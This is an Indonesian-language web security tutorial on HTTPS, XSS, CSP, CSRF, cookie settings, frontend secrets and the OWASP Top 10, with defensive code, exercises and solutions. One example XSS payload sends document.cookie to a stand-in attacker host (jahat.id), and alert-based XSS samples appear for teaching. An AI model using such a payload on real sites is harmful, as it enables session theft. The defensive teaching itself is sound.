kodingup.camp

Beranda/Kualitas Web: Aksesibilitas, Performa, Keamanan, Testing & Tooling

Keamanan & Privasi Web

Modul 4 dari 88 menit bacaSecurity and Privacy

Isi modul

    Kenapa ini penting

    Rumahmu punya pintu, kunci, mungkin pagar dan CCTV. Tidak ada satu pun yang membuat rumah 100% aman, tapi kombinasinya membuat pencuri berpikir dua kali dan memilih rumah lain. Keamanan web bekerja dengan prinsip yang sama, disebut defense in depth (pertahanan berlapis): HTTPS sebagai pagar, escape output sebagai kunci, CSP sebagai CCTV yang langsung mengunci pintu saat ada yang mencurigakan, cookie yang dikonfigurasi benar sebagai brankas.

    Sebagai developer frontend kamu mungkin berpikir keamanan adalah urusan backend. Kenyataannya banyak serangan justru terjadi di browser: script jahat yang disisipkan lewat kolom komentar, kunci API yang ikut ter-bundle di JavaScript, form yang diam-diam dikirim dari situs lain. Ditambah lagi soal privasi: data pribadi pengguna (email, nomor HP, lokasi) adalah titipan, bukan milikmu. Di Indonesia, pelindungan data pribadi diatur dalam Undang-Undang Nomor 27 Tahun 2022.

    Konsep inti

    HTTPS: fondasi semuanya

    HTTPS mengenkripsi lalu lintas antara browser dan server dengan TLS, sehingga orang di jaringan yang sama (WiFi kafe, misalnya) tidak bisa membaca atau mengubah data yang lewat. Tanpa HTTPS, semua pertahanan lain bisa dilewati: script bisa disisipkan di tengah jalan, cookie bisa dicuri. Banyak fitur browser modern (Service Worker, geolokasi, kamera, clipboard) hanya tersedia di secure context (HTTPS atau localhost). Sertifikat gratis tersedia dari Let's Encrypt, dan hampir semua hosting modern (Vercel, Netlify, Cloudflare Pages) menyalakannya otomatis. Header Strict-Transport-Security (HSTS) memberi tahu browser untuk selalu memakai HTTPS ke domainmu.

    XSS: musuh nomor satu developer frontend

    Cross-Site Scripting (XSS) terjadi saat data dari pengguna (atau sumber luar) ikut dieksekusi sebagai kode di halamanmu. Contoh: kolom nama diisi <img src=x onerror="fetch('https://jahat.id?c='+document.cookie)">, lalu kamu menampilkannya dengan innerHTML. Setiap orang yang membuka halaman itu menjalankan script si penyerang, yang bisa mencuri sesi, mengubah tampilan, atau melakukan aksi atas nama korban.

    Pertahanan XSS, dari yang paling penting:

    1. Tampilkan data sebagai teks, bukan HTML. Pakai textContent, createElement, dan setAttribute. Ini cara paling sederhana dan paling aman.
    2. Kalau harus memakai template string + innerHTML, escape dulu karakter & < > " ' menjadi entity HTML.
    3. Jangan pernah memasukkan input pengguna ke eval, new Function, setTimeout("string"), atau atribut href tanpa memeriksa skemanya (javascript:alert(1) adalah URL yang valid).
    4. Kalau memang perlu menampilkan HTML dari pengguna (misalnya editor artikel), bersihkan dengan pustaka sanitizer yang terawat seperti DOMPurify. Jangan menulis sanitizer sendiri dengan regex.
    5. Pasang CSP sebagai lapis cadangan.

    CSP: daftar tamu untuk script

    Content Security Policy adalah header HTTP yang memberi tahu browser sumber mana saja yang boleh memuat script, style, gambar, dan sebagainya. Kalau ada script yang tidak ada di daftar, browser menolak menjalankannya, termasuk script inline dan atribut event seperti onerror="...". Jadi walaupun ada celah XSS yang lolos, script penyerang tidak jalan. Contoh kebijakan sederhana:

    Content-Security-Policy: default-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'none'; frame-ancestors 'none'
    

    Artinya: semua sumber hanya dari domain sendiri, gambar juga boleh dari data:, plugin <object> dilarang, tag <base> dilarang, dan halaman tidak boleh di-embed di iframe situs lain (melindungi dari clickjacking). Beberapa hal penting dari MDN:

    CSRF: permintaan palsu dari situs lain

    Cross-Site Request Forgery memanfaatkan fakta bahwa browser otomatis mengirim cookie ke domain tujuan. Kamu sedang login di bank.id, lalu membuka promo-gratis.xyz yang diam-diam berisi form tersembunyi POST bank.id/transfer. Tanpa perlindungan, browser ikut mengirim cookie sesi bank, dan server mengira kamu sendiri yang mentransfer. Pertahanannya:

    Cookie diatur server lewat header Set-Cookie. Atribut penting untuk cookie sesi:

    Atribut Fungsi
    Secure Hanya dikirim lewat HTTPS
    HttpOnly Tidak bisa dibaca JavaScript (document.cookie), sehingga XSS tidak bisa mencurinya. Cookie tetap ikut terkirim di fetch
    SameSite=Strict Hanya dikirim untuk permintaan dari situs yang sama
    SameSite=Lax Juga dikirim saat pengguna mengklik link dari situs lain (navigasi GET), tapi tidak untuk fetch, <img>, iframe, atau POST lintas situs. Sebagian browser memakai Lax sebagai default jika SameSite tidak ditulis
    SameSite=None Dikirim ke mana saja. Wajib disertai Secure
    Prefix __Host- Nama cookie diawali __Host- hanya diterima jika Secure, tanpa Domain, dan Path=/
    Max-Age / Expires Masa berlaku. Jika keduanya ada, Max-Age yang dipakai. Tanpa keduanya, cookie hilang saat browser ditutup
    Set-Cookie: __Host-sesi=8f3a...; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=86400
    

    Karena itu, simpan token sesi di cookie HttpOnly, bukan di localStorage. Apa pun di localStorage bisa dibaca oleh script mana pun yang berhasil menyusup lewat XSS.

    Rahasia di frontend: tidak ada

    Semua yang dikirim ke browser bisa dilihat siapa saja lewat View Source atau tab Network, termasuk kode yang sudah diminifikasi. Jadi jangan pernah menaruh kunci API rahasia (kunci pembayaran, kunci OpenAI, password database, service key) di kode frontend atau di variabel VITE_.... Vite hanya mengekspos variabel berawalan VITE_ ke kode klien, dan nilainya ditanam apa adanya di file JavaScript hasil build (kami membuktikannya di modul Bundler). Untuk layanan yang butuh kunci rahasia, buat endpoint di server (atau serverless function) yang menyimpan kunci dan meneruskan permintaan.

    Kunci yang memang didesain publik (misalnya kunci Maps yang dibatasi per domain) boleh ada di frontend, asalkan dibatasi di dashboard penyedianya.

    Izin dan data pengguna

    OWASP Top 10:2025 secara ringkas

    OWASP Top 10 adalah dokumen kesadaran keamanan aplikasi web yang paling dikenal. Edisi terbarunya adalah 2025:

    Kode Risiko Contoh yang relevan untuk frontend
    A01:2025 Broken Access Control Menyembunyikan tombol admin di UI tapi API-nya tidak mengecek hak akses
    A02:2025 Security Misconfiguration Tanpa CSP, debug mode menyala di produksi, file .env ikut ter-deploy
    A03:2025 Software Supply Chain Failures Paket npm yang dibajak atau tidak pernah diperbarui
    A04:2025 Cryptographic Failures Situs tanpa HTTPS, password disimpan tanpa hash
    A05:2025 Injection XSS, SQL injection
    A06:2025 Insecure Design Reset password hanya dengan menebak tanggal lahir
    A07:2025 Authentication Failures Tidak ada batas percobaan login, sesi tidak pernah kedaluwarsa
    A08:2025 Software or Data Integrity Failures Memuat script dari CDN tanpa verifikasi integritas
    A09:2025 Security Logging and Alerting Failures Tidak ada log saat ada ribuan percobaan login gagal
    A10:2025 Mishandling of Exceptional Conditions Pesan error menampilkan stack trace dan detail database ke pengguna

    Pelajaran terpenting: validasi di frontend hanya untuk kenyamanan pengguna, bukan keamanan. Siapa pun bisa melewati JavaScript-mu dan mengirim permintaan langsung ke server dengan curl. Server wajib memvalidasi ulang semuanya. Untuk A03, biasakan menjalankan npm audit dan memperbarui dependensi secara berkala.

    Contoh kode

    Fungsi escape yang dipakai di form newsletter, dan perbandingan tiga cara menampilkan data:

    // src/utils.js
    // Ubah karakter berbahaya jadi entity HTML agar teks tidak dibaca sebagai tag
    export function escapeHTML(teks) {
      return String(teks)
        .replaceAll('&', '&amp;') // & harus pertama, kalau tidak entity lain ikut rusak
        .replaceAll('<', '&lt;')
        .replaceAll('>', '&gt;')
        .replaceAll('"', '&quot;')
        .replaceAll("'", '&#39;');
    }
    
    const komentar = '<img src=x onerror="alert(\'kena XSS\')">';
    const kotak = document.querySelector('#komentar');
    
    // ❌ BAHAYA: string dibaca sebagai HTML, onerror langsung jalan
    kotak.innerHTML = `<p>${komentar}</p>`;
    // → muncul alert "kena XSS"
    
    // ✅ Aman (pilihan terbaik): textContent selalu memperlakukan isinya sebagai teks
    const p = document.createElement('p');
    p.textContent = komentar;
    kotak.replaceChildren(p);
    // → tampil persis: <img src=x onerror="alert('kena XSS')">
    
    // ✅ Aman juga: escape dulu kalau memang butuh template HTML
    kotak.innerHTML = `<p><strong>Tamu:</strong> ${escapeHTML(komentar)}</p>`;
    // → tag <strong> berfungsi, komentar tampil sebagai teks biasa
    
    // ✅ Cek skema URL dari pengguna sebelum dipakai sebagai href
    function urlAman(input) {
      try {
        const url = new URL(input, location.origin);
        return ['http:', 'https:'].includes(url.protocol) ? url.href : '#';
      } catch {
        return '#';
      }
    }
    console.log(urlAman('javascript:alert(1)')); // → #
    console.log(urlAman('https://contoh.id'));   // → https://contoh.id/
    

    Server Node.js mini berikut menyajikan folder dist/ hasil build Vite dengan header keamanan dan cache. Kami menjalankannya, lalu mencoba menyisipkan <img onerror> ke halaman lewat DevTools. Browser menolak dengan pesan "Executing inline event handler violates the following Content Security Policy directive".

    // server.js, jalankan dengan: node server.js (setelah npm run build)
    import { createServer } from 'node:http';
    import { readFile } from 'node:fs/promises';
    import { extname, join, normalize } from 'node:path';
    
    const ROOT = join(import.meta.dirname, 'dist');
    const TIPE = {
      '.html': 'text/html; charset=utf-8',
      '.js': 'text/javascript; charset=utf-8',
      '.css': 'text/css; charset=utf-8',
      '.svg': 'image/svg+xml',
      '.png': 'image/png',
      '.webp': 'image/webp',
      '.woff2': 'font/woff2',
    };
    
    const HEADER_KEAMANAN = {
      'Content-Security-Policy':
        "default-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'none'; frame-ancestors 'none'",
      'X-Content-Type-Options': 'nosniff', // jangan menebak tipe file
      'Referrer-Policy': 'strict-origin-when-cross-origin',
      'Permissions-Policy': 'camera=(), microphone=(), geolocation=()',
      // Di produksi dengan HTTPS, tambahkan juga:
      // 'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
    };
    
    createServer(async (req, res) => {
      const url = new URL(req.url, 'http://localhost');
      // normalize + cek awalan: cegah path traversal seperti /../../etc/passwd
      const path = normalize(join(ROOT, url.pathname === '/' ? 'index.html' : url.pathname));
      if (!path.startsWith(ROOT)) {
        res.writeHead(403).end('Forbidden');
        return;
      }
      try {
        const isi = await readFile(path);
        const cache = url.pathname.startsWith('/assets/')
          ? 'public, max-age=31536000, immutable' // nama file ber-hash
          : 'no-cache'; // HTML selalu dicek ulang
        res.writeHead(200, {
          'Content-Type': TIPE[extname(path)] ?? 'application/octet-stream',
          'Cache-Control': cache,
          ...HEADER_KEAMANAN,
        });
        res.end(isi);
      } catch {
        // Pesan error umum, tanpa detail internal (OWASP A10)
        res.writeHead(404, HEADER_KEAMANAN).end('Tidak ditemukan');
      }
    }).listen(8080, () => console.log('Server jalan di http://localhost:8080'));
    
    node server.js
    # Terminal lain: lihat header yang dikirim
    curl -sI http://localhost:8080/ | grep -iE "content-security|cache-control"
    # → Cache-Control: no-cache
    # → Content-Security-Policy: default-src 'self'; img-src 'self' data:; object-src 'none'; ...
    
    # Cek dependensi yang punya celah keamanan yang diketahui
    npm audit
    # → found 0 vulnerabilities
    

    Kesalahan umum

    1. innerHTML dengan data pengguna tanpa escape. Pakai textContent, atau escape semua nilai dinamis. Ingat bahwa data dari API juga "data luar".
    2. Kunci rahasia di .env berawalan VITE_. Semua variabel VITE_ ditanam di bundle publik. Kunci rahasia hanya boleh hidup di server.
    3. Token login di localStorage. Bisa dicuri oleh XSS apa pun. Gunakan cookie HttpOnly; Secure; SameSite=Lax.
    4. Menganggap validasi form di JavaScript sudah cukup. Penyerang bisa langsung memanggil API. Validasi ulang di server, dan cek hak akses di setiap endpoint (A01).
    5. CSP dengan 'unsafe-inline' supaya "tidak error". Itu membatalkan sebagian besar manfaat CSP. Pindahkan script inline ke file dan pakai addEventListener.

    Latihan

    1. Mudah, Tuliskan header Set-Cookie untuk cookie sesi bernama sesi yang hanya lewat HTTPS, tidak bisa dibaca JavaScript, tidak ikut di POST lintas situs, dan berlaku 7 hari.
    2. Sedang, Perbaiki fungsi ini agar aman dari XSS tanpa memakai escapeHTML: function tampilkanUlasan(u) { list.innerHTML += '<li><b>' + u.nama + '</b>: ' + u.isi + '</li>'; }.
    3. Menantang, Sebuah aplikasi cuaca memanggil API berbayar langsung dari browser: fetch('https://api.cuaca.id/v1?key=' + import.meta.env.VITE_CUACA_KEY). Jelaskan masalahnya dan tulis endpoint Node.js sederhana yang menjadi perantara.
    Lihat solusi

    1.

    Set-Cookie: sesi=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=604800
    

    (7 × 24 × 60 × 60 = 604800 detik. Bisa juga SameSite=Strict kalau tidak masalah cookie tidak ikut saat pengguna datang dari link situs lain.)

    2.

    function tampilkanUlasan(u) {
      const li = document.createElement('li');
      const nama = document.createElement('b');
      nama.textContent = u.nama;
      li.append(nama, `: ${u.isi}`); // append dengan string = text node, aman
      list.append(li);
    }
    

    Bonus: innerHTML += juga lambat karena membangun ulang seluruh isi list setiap kali.

    3. Nilai VITE_CUACA_KEY ditanam di file JavaScript publik. Siapa pun bisa menyalinnya dan memakai kuotamu. Pindahkan kunci ke server:

    // api-cuaca.js (server, kunci dibaca dari environment server, bukan VITE_)
    import { createServer } from 'node:http';
    
    createServer(async (req, res) => {
      const url = new URL(req.url, 'http://localhost');
      if (url.pathname !== '/api/cuaca') return res.writeHead(404).end();
      const kota = url.searchParams.get('kota') ?? '';
      if (!/^[\p{L} ]{2,40}$/u.test(kota)) return res.writeHead(400).end('Kota tidak valid');
    
      const r = await fetch(
        `https://api.cuaca.id/v1?kota=${encodeURIComponent(kota)}&key=${process.env.CUACA_KEY}`,
      );
      res.writeHead(r.status, { 'Content-Type': 'application/json' });
      res.end(await r.text());
    }).listen(3000);
    
    // Frontend cukup memanggil: fetch('/api/cuaca?kota=Bandung')
    

    Ringkasan

    Video pendamping

    Kalau penjelasan di atas belum masuk, tonton ini. Video dari kanal YouTube pihak lain.

    Web Security: XSS, CSRF, CSP, JWT, WTF? IDK ¯\_(ツ)_/¯ - Dominik Kundel | JSHeroes 2018JSHeroes · Bahasa InggrisBuka di YouTube

    Kuis pemahaman

    Pilih satu jawaban per soal. Penjelasan muncul setelah kamu menjawab.